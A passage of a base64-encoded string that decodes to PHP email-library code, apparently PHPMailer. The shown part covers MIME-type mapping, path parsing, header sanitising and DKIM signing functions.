luJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAu